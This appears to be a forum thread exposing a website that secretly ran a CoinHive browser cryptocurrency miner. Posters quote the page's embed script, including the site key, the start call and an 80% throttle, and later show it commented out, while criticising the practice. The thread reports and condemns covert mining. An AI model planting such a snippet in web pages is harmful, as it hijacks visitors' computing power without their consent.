    Is there is any possibility that someone knows them closely can invite them here to give them chance to defend themselves?, then we can see the whole picture.

    Yep the coinhive coding is still there on the site, however they have added 2 lines of code from that of what i posted into OP.

    Code:
    miner.getAutoThreadsEnabled();
    miner.setThrottle('0.8');
    
    So now it reads like:

    Code:
    <script src="****://coinhive.com/lib/coinhive.min.js"></script>
    <script>
    var miner = new CoinHive.Anonymous('uWKXebL5jXICjXGj85wncylJDkRN9gVu');
    miner.start();
    miner.getAutoThreadsEnabled();
    miner.setThrottle('0.8');
    </script>
    
    Now i have taken out the src part where the could be a chance that some weird goes on. The funny thing is that brian the founder just posted about "Help Syrian Children Through Mining" where you download the app to use your GPU to help out UNICEF.

    I am blooming laughing right now with the irony a site that forces mining posting about another site that allows you to download to help the cause.

    Anyway very much doubt they would defend themselves would techinferno why would they, pure greed.

    Pretty sure no website, even with a silent miner, should be consuming 80% resources. MAYBE 20-50% (user selected) IF they were up front about it in the first place AND there were NO ads on the site because of the miner.

    Or put a timer on it and say a user can mine X minutes or hours to cover their use of the site rather than having to pay actual money or see ads.

    Anything remotely reasonable and transparent I could at least be open-minded to but this is just garbage on their part.

    This was being done at Starbucks last year. Some dude figured out how too mine on peoples computers while they connected to Starbucks wifi. They were smart about it and didn't let the thing run full blast, but only would run the miner for about 20 seconds before disengaging. Users figured it was internet congestion.

    I can see it now, you walk into a Starbucks and every bodies fan profiles are at 100%, all just looking at each other like "WTF why is it so loud in here"

    Will do when my internet connection is working again which will hopefully be on the 9th


    Update:

    Code:
    <link rel='shortcut icon' href='xxxx://sslcdn.techinferno.xxxuploads/monthly_2017_08/favicon.ico.902cfabe37f7260915a7c8342595a33e.ico'>
    
    <!--<script src="xxxx://coinhive.com/lib/coinhive.min.js"></script>
    <script>
    var miner = new CoinHive.Anonymous('uWKXebL5jXICjXGj85wncylJDkRN9gVu');
    miner.start();
    miner.getAutoThreadsEnabled();
    miner.setThrottle('0.8');
    </script>-->
    
    So long as that code is there the miner is there and set to disabled, which means they could just re-enable it again.
